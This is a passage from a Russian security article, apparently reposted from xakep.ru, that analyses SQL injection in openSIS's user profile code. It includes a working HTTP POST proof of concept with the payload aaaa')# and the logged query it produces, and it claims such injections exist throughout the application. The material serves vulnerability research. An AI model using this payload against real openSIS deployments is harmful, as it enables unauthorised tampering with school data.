    // $id = DBGet(DBQuery('SHOW TABLE STATUS LIKE '' . 'user_profiles' . '''));
    // $id[1]['ID'] = $id[1]['AUTO_INCREMENT'];
    // $id = $id[1]['ID'];
    $exceptions_RET = array();
    $_REQUEST['new_profile_title'] = str_replace("'", "''", $_REQUEST['new_profile_title']);
    DBQuery('INSERT INTO user_profiles (TITLE,PROFILE) values('' . clean_param($_REQUEST['new_profile_title'], PARAM_NOTAGS) . '','' . clean_param($_REQUEST['new_profile_type'], PARAM_ALPHA) . '')');
    $_REQUEST['profile_id'] = mysqli_insert_id($connection);
    $xprofile = $_REQUEST['new_profile_type'];
    unset($_REQUEST['new_profile_title']);
    unset($_REQUEST['new_profile_type']);
    unset($_SESSION['_REQUEST_vars']['new_profile_title']);
    unset($_SESSION['_REQUEST_vars']['new_profile_type']);
}
Валидация new_profile_type с использованием PARAM_ALPHA предотвращает SQL-инъекции, поскольку запрещает использовать кавычки. Но PARAM_NOTAGS предназначен только для XSS.

Вот такой запрос стриггерит уязвимость:
Код: Скопировать в буфер обмена
Код:
POST /openSIS/Modules.php?modname=users/Profiles.php&modfunc=update&profile_id= HTTP/1.1
Host: 192.168.147.131
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36
Cookie: PHPSESSID=0oelpc05g9clrnv5fdrvg8kvqr
Connection: close

new_profile_title=aaaa')#&new_profile_type=admin
SQL-запрос:
Код: Скопировать в буфер обмена
2024-05-02T18:07:23.304858Z 2292 Query INSERT INTO user_profiles (TITLE,PROFILE) values('aaaa'')#','admin')

ВЫВОДЫ​

Итак, мы нашли огромный простор для SQL-инъекций. Некоторые проэксплуатировать не выйдет, в других меры безопасности сами становились причиной инъекции, в третьих инъекция предотвращалась случайно.
Неэксплуатируемые случаи — это те, в которых есть SQL-инъекция, но ты ничего от нее не можешь получить, а только манипулируешь некоторыми данными. Но даже эти случаи иногда считаются уязвимостями, поскольку они угрожают целостности вводимых и сохраняемых данных (CVSS ~ 2,7 AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N).

Ну и лучшее я оставил напоследок: везде, где в приложении используются значения в квадратных скобках, есть возможность для SQL-инъекции. А используются они во всем приложении.

Автор @az_AZ
Источник xakep.ru
 
Сверху Снизу